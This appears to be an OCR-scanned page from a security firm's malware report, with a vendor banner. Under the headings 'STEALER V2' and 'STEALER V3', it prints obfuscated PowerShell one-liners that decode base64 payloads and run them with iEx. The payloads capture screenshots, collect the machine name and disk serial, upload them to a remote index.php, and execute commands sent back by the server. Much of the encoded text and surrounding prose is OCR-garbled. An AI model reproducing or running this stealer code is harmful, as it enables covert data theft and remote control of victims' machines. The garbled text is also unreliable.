VjdGlvbnMuU3BIY21hbG16ZWQuTmFtZVZhbHVIQ29sbGVjdGlvbjsKICAgICRDb2xsZWN0aW9ucy5BZGQoJGluZGVALCRIbnY 6 Y29tcHVOZX JuY W 11Kyl 71isk
bnVtYmVyKTsKICAgICRDb2xsZWN0aW9ucy5SBZGQolmltZylsJIGJhc2U2NHNOcmluZyk7CiAglCAkemVzeG9uc2UgPSAkV2ViQ2xpZWS0LIVwbGOhZFZhbH VI
cygkdXJsLCRDb2xsZWN0aW9ucyk7CiAgICBbc3RyaW 5nXSRVemkgPSBbU31zdGVtLIRIeHQURWS5jb2RpbmddOjpVVEY4LkdIdFNOcmluZygkemVzeG9uc2UpO
woglCAgaWYoJFVyaS5MZW5ndGggLWd0IDApewogICAgICAgIGImKCRVemlbMFOgLW VxXICIhliApewogl CAgICAgICAgICAkY21kID0gaW V4ICRVemkuU3V
iU3RyaW5nKDEpOwogICAgICAgICAICAkQ29sbGVjdGlvbnMuQWRKKCJIjbWQILCRjbWQpOwogICAgICAgICAgICAkemVzecGuc2UgPSAkV2ViQ2xpZ W50
LIVwbG9hZFZhbHVIcygkd XJSLCRDb2xsZWN0aW9ucyk7CiAgICAgICAgfQogICAgICAEIGVsc2VICiAgICAgICAICAGICR}b2RIPSA0JGEpLIZvbHVZVNIem
IhbE51bWJlcjsKICAgICAgICAgICBSdWS5Db2RIICAgIGNVZGUgJHI1c3BvbnNICiAgICAgICAgfSAKICAgIHOKU3RhenQtU2x1ZXAgLXMgMTgwOwp9IA=="));
Scouts| iEx

PR ORREEM-FrEBofEAS RS R

ew 8 We Keep IT Safe, Secure & Save you Time, Cost BT HE

BIRF5EE:E  0800-381500 | +886 4 23815000 | http://www.savetime.com.tw



http://www.savetime.com.tw

STEALER V2 (supports traffic over TLS 1.2)

CSIDL_SYSTEMwindowspowershellv1.0powershell.exe -c $couts =[System.Text. Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24g
UnVuQ29kZSgkY29kZSwkemVzeG9uc2UpewoglCAgW2I5dGVbXVOkYnl0ZXMgPSBuZXctb2JgZWNOIGI5dGVbXSAkemVzeG9uc2UuTGVuZ3RoOwogICAgZ
m9yKCRGPTA7ICRIC1sdCAkemVzcG9uc2UuY291bnQgOyAkaisrK XsKICAgICAgICAkbWFzc191bGVtZW50PSAkaiAIICRjb2RILkx1bmd0aDsKICAgICAgICAk
a2V5PSRjb2RIWYRtYXNzX2VsZW 11bnRdOwogICAgICAgICRieXRlc1skal0gPSAkemVzeG9uc2VbIGpdIC1ieGIyICRrZXk7CiAgICBIOWogICAgIF VyaSA9IFtTe
XNOZW0uVGV4dC5FbmNvZGluZ10601VURjguR2VOU3RyaW5nK CRieXRIcyk7CiAgICBzdGFydC1qb2IgewogICAgICAgICRzYyA9IES5ldy1PYmplY3QgLUNvb
U9iamVjdCBNU INjemlwdENvbnRyb2wuU2NyaXB0Q29udHJvbC4xOwogICAgICAgICRzYy5UaW 11b3VOID0gOTk50Tk50yAke2MuTGFuZ3VhZ2UgPSAnVkJ
TY3JpcHQnOyRzYy5BZGRDb2RIKCRhemdzWzBdKQogICAgfSAtQXIndW 11bnRMaXNOICRVemkgLXJ1bmFzMzI7Cn0KJTHAgPSBbRWS51bVO60IRVT2JqZWN
OKFtTeXNOZWO0uTmVOLINIY3VyaXR5UHJvdG9jb2xUeXBIXSwgMzA3Mik7CltTeXNOZWOuTmVOLINIenZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3
RvY29sID0gIHA7CiR3YZ0gTmV3LU%amVjdCBuZXQud2ViY2xpZW500yR3YySIZWFkZXJzLkFkZCgiQ29udGVudC1UeXBIliwiYXBwbGlj Y XRpb24veC13d3
ctZm9ybS11emxIbmNvZGVkIik7CiRyZXNwb25zZSA9ICR3Yy5VcGxvY WREYXRhK CJodHRwezovL3Rvb2xzLm5leGNIc3MubmVOL2Rucy 1jaGVjayIsIFtTeXN
0ZWO0uVGV4dC5FbmNvZGluZ10601VURjguR2V0QnI0ZXMolmlkPXNwemludC1kbnMmdHIWZ T 1BJmhve3RuY W 11PWx1b25hemRpeySydSIpK TsKIGIwIDOgW
IN5c3RIbSSUZXhOLkVuY29kaW5nXTo6VVRGOCSHZXRTdHIpbmcoJHJ1c3BvbnNIKSB8P3sk Xy AtbWF0Y2ggllxkezEsM3 1cLIxkezEsM3 1cLlxkezEsM3 1cLIxk
ezEsM30ifXwleyRNYXRjaGVzWzBdfQoKJHNjecmVIbj0wOwp3aGlsZSgkY291bnQgLWxIIDQpewogICAgaW YoJHNjecmVIbiAtbGUgOS17CiAgICAgICAgIHNjcm
VibisrOwoglCAgICAgIFt2b2lkX VtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6 TGOhZFdpdGhQY XJ0aWFsTmFtZSgiU31zdGVtLIdpbmRvd3MuRm9ybXMiK TsKICA
gICAEICAkc216ZS ATFtXaW5kb3dzLkZvem1zLINSc3RIbUIuZm9ybWF0aW9uXTo6 VmlydHVhbFNjemVIbjsKICAgICAgICAKY mIObWFwID0gbmV3LW9iamVjd
CBEcmF3aW5nLkJpdG1hcCAke216ZS53aWR0aCwgJHNpemUuaGVpZ2h0OwogICAgICAgICRnemFwaGljcy A9IFtEcmF3aW5nLkdy YXBoaWNzXTo6RnJvbUItY
WdIKCRiaXRtY XApOwogICAgICAgICRnemFwaGljcySDb3B5SRnJvbVNjemVlibigke216ZS5sb2NhdGlvbixbRHIhd21uZy5Qb21udF060kVicHRSLCAke216ZS5zaXp
IKTsKICAGICAGICAkZ3ThcGhpY3MuRGlzcG9zZSgpOwogICAgICAICRiIaXRtY X AuU2F2ZSgiJGVudjpVUOVSUFJPRKIMRVx0ZXNOLnBuZylpOwogICAgICA
gICRiaXRtYXAuRGlzcG9zZSgpOwogICAgICAgICRmaWxIIDOgliR1bnY6VVNFUIBSTOZJITEVcdGVzdC5wbmceiOwogICAgICAgICRiIY XNINjRzdHJpbmcgPSBb
Q29udmVydF060IRvQmFzZTYOU3RyaW SnKFtITy5GaWxIXTo6UmVhZEFsbEJ5dGVzKCRmaWxIKSk7CiAgICAgICAgUmVtb3ZILUIOZWO0gLVBhdGggliRIbnY
6VVNFUIBSTOZJTEVcdGVzdC5wbmciLUZvemNIOwogICAgfQogICAgZWxzZXsKICAGICAgICAKYmFzZTY0c3RyaW 5nPSJzIgogICAgfQogICAgIFdlYkNsaW
VudDOgTmV3LU9iamVjdCBuZXQud2ViY2xpZW500wogICAgIHJuZHNOciA9IC1qb2lulCgoNjUuLjkwKSArICg5SNy4uMTIyKSBSIEdIdC1SY W5kb20gLUNvdW
SOIDEwIHwgISB7W2NoYXJdJF99KTsKICAgICR IcmwgPSAnaHROcDovLycrJGlwKycvaWSkZXgucGhwlzsKCiAgICAKY TIHZXQtV21pT2JqZWNOICIRdW Vy
eSAkKKCJzZWx1Y3QgKiBmem9tIHdpbjMyX2xvZyIrICIpY2FsZGlzayB3aGVyZSBEZXZpY2VIRDOnJGVudjpTeXNOZW 1 EcmI2ZSciK TsKICAgIFtzdHIpbmddJGS5
1bWIJIciA9TFtTeXNOZWO0uQ29udmVydF060IRvVUludDMyKCgkY SkuVm9sdW 11U2VyaWFsTnVtYmVyLDE2K TsKICAgICRpbmRIeCA9ICJpliArICRybmRzdHI
7CiAgICAkQ29sbGVjdGlvbnMgPSBOZXctT21gZWNOIFN5¢3RIbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC50Y W 11VmFsdWVDb2xsZWN0aW9uOwogICAgl
ENvbGx1Y3Rpb25zLkFkZCgkaW5kZXgsJGVudjpjb21wdXRlemShbWUrljsiKyRudW 1iZXIpOwogICAgJENvbGx1Y3Rpb25zLkFkZCgiaW InliwkYmFzZTY0c3Ry
aW5nKTsKICAgICRyZXNwb25zZSA9ICRXZWIDbGIIbnQuVXBsb2FkVmFsdWVzKCR 1cmwsJENvbGxIY3Rpb25zK TsKICAgIFtzdHIpbmddJF VyaSA9IFtTe XNO
ZW0uVGV4dC5FbmNvZGluZ10601VURjguR2VOU3RyaW5nKCRyZXNwb25zZSk7CiAgICBpZigkVXIpLkxlbmd0aCAtZ3QgMCI7CiAgICAgICAgaW YoJF VyaVs
WXSAtZXEgIEIICI7CiAgICAGICAICAGICRjbWQgPSBpZXggIF VyaS5TdWITdHIpbmcoMSk7CiAgICAgICAGICAEICRDb2xsZWN0aW9ucySBZGQoImNtZCls
JGNtZCK7CiAgICAgICAgICAgICRYZXNwb25zZSA9ICRXZWIDbG1IbnQuVXBsb2FkVmFsdWVzKCR 1cmwsJENvbGx1Y3Rpb25zK TsKICAgICAgICBICiAgICA
gICAgZWxzZXsKICAGICAgICAGICAgIGNVZGUIICgkY SkuVm9sdW 11U2VyaWFsTnVtYmVyOwogICAgICAgICAgIFI1bkNvZGUgICAkY29kZS AkemVzeG9uc
2UKICAGICAGICBITA0gICAgfQpTdGFydC1TbGVIcCAtcyAXODA7Cn0g')); $couts| iEx
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STEALER V3 ("heato")

CSIDL_SYSTEMwindowspowershellv1.0powershell.exe -¢ $aa="ZnVuY3Rpb24gUnVuQ29kZSgkY29kZSwkemVzeG9uc2UpewogICAgW2J5dGVbXVOkYnl0ZXM
gPSBuZXctb2JgZWNOIGI5dGVbXSAkemVzecG9uc2UuTGVuZ3RoOwogICAgZm9yKCRGPTA7ICRqIC 1sdCAkemVzecG9uc2UuY291bnQgOyAkaisrKXsKICAgIC
AgICAkbWFzc191bGVtZWS50PSAkaiAlICRjb2RILkx1bmd0aDsKICAICAgICAka2V5PSRjb2RIWyRtY XNzX2VsZW 11bnRdOwogICAgICAgICRieXRlc1skal0gPS
AkemVzeG9uc2VbIGpdIC1ieG9yICRrZXk7CiAgICBIOWogICAgIF VyaSA9IFtTeXNOZW0uVGV4dC5FbmNvZGluZ10601VURjguR2VOU3RyaW5nK CRieXRlcy
k7CiAgICBzdGFydC1qgb2IgewogICAgICAgICRzYyA9IESIdy 1 PYmplY3QgLUNvbU9iamVjdCBNU INjemlwdENvbnRyb2wuU2NyaXB0Q29udHIvbC4xOwogICA
gICAgICRzYy5UaW11b3VOID0gOTk50Tk50yAkc2MuTGFuZ3VhZ2UgPSAnVKITY3IpcHQnOyRzYy5SBZGRDb2RIKCRhemdzWzBdKQogICAgfSAtQXIndW1
1bnRMaXNOICRVemkgLXJ1bmFzMzI7Cn0KJHNjemVIbj0wOwp3aGlsZSgkY291bnQgLWxIIDQpewogICAgaW YoJHNjecmVIbiAtbGUgOS17CiAgICAgICAgJHNj
cmVIbistOwogICAgICAgIFt2b2IkXVISZWZsZWNO0aW JuLkFzc2VtYmx5XTo6 TGOhZFdpdGhQY XJ0aWFsTmFtZSgiU31zdGVtLIdpbmRvd3MuRm9ybXMiK TsKI
CAgICAgGICAkc216ZS A9TFtXaW 5kb3dzLkZvem1zLINSc3RIbUluZm9ybWF0aW9uXTo6VmlydHVhbFNjemVIbjsKICAGICAEICAKY mIObWFwID0gbmV3LW9iam
VjdCBEcmF3aW5nLkJpdG1hcCAkc216ZS53aWR0aCwgJHNpemUuaGVpZ2h0OwogICAgICAgICRnemFwaGljcyA9IFtEcmF3aW5nLkdyYXBoaWNzXTo6Rnlvb
UltY WdIKCRiaXRtY XApOwogICAgICAgICRnemFwaGljcySDb3B5RnIvbVNjemVIbigke216ZS 5sb2NhdGlvbixbRHJIhd21uZy5Qb2ludFO60k VicHRSLCAke216ZS5
zaXplKTsKICAgICAGICAkZ3ThcGhpY3MuRGlzcG9zZSgpOwoglCAICAICRiaXRtY X AuU2F2ZSgiJGVudjpVUOVSUFJPRKIMRVX0ZXNOLnBuZyIpOwogICA
gICAgICRiaXRtYXAuRGlzcG9zZSgpOwogICAgICAgICRmaWxIIDOgIiRlbnY6VVNFUIBSTOZJTEVcdGVzdC5wbmciOwogICAgICAgICRiY XNINjRzdHIJpbmeg
PSBbQ29udmVydFO60IRVQmMFzZTY0U3RyaW 5SnKFtJ Ty5GaWxIXTo6UmVhZEFsbEJ5dGVzKCRmaWxIKSk7CiAgICAgICAgUmVtb3ZILUI0ZWO0gLVBhdGggli
RIbnY6VVNFUIBST0ZITEVcdGVzdC5wbmciLUZvemNIOwogICAgfQogICAgZWxzZXsKICAGICAgICAKY mFzZTY 0c3RyaW 5nPSJzIgogICAgfQogICAgIFdlYk
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AgICAICAGICAgUnVuQ29kZSAgICRjb2RIICRYZXNwb252ZQogICAgICAEIHOgCIAgICBICINOY XJOLVNSZWVwIC1zIDE4MDsKfSA=";$couts =[System.Text.
Encoding]::UTF8.GetString([System.Convert]::FromBase64String($aa)); $couts| iEx
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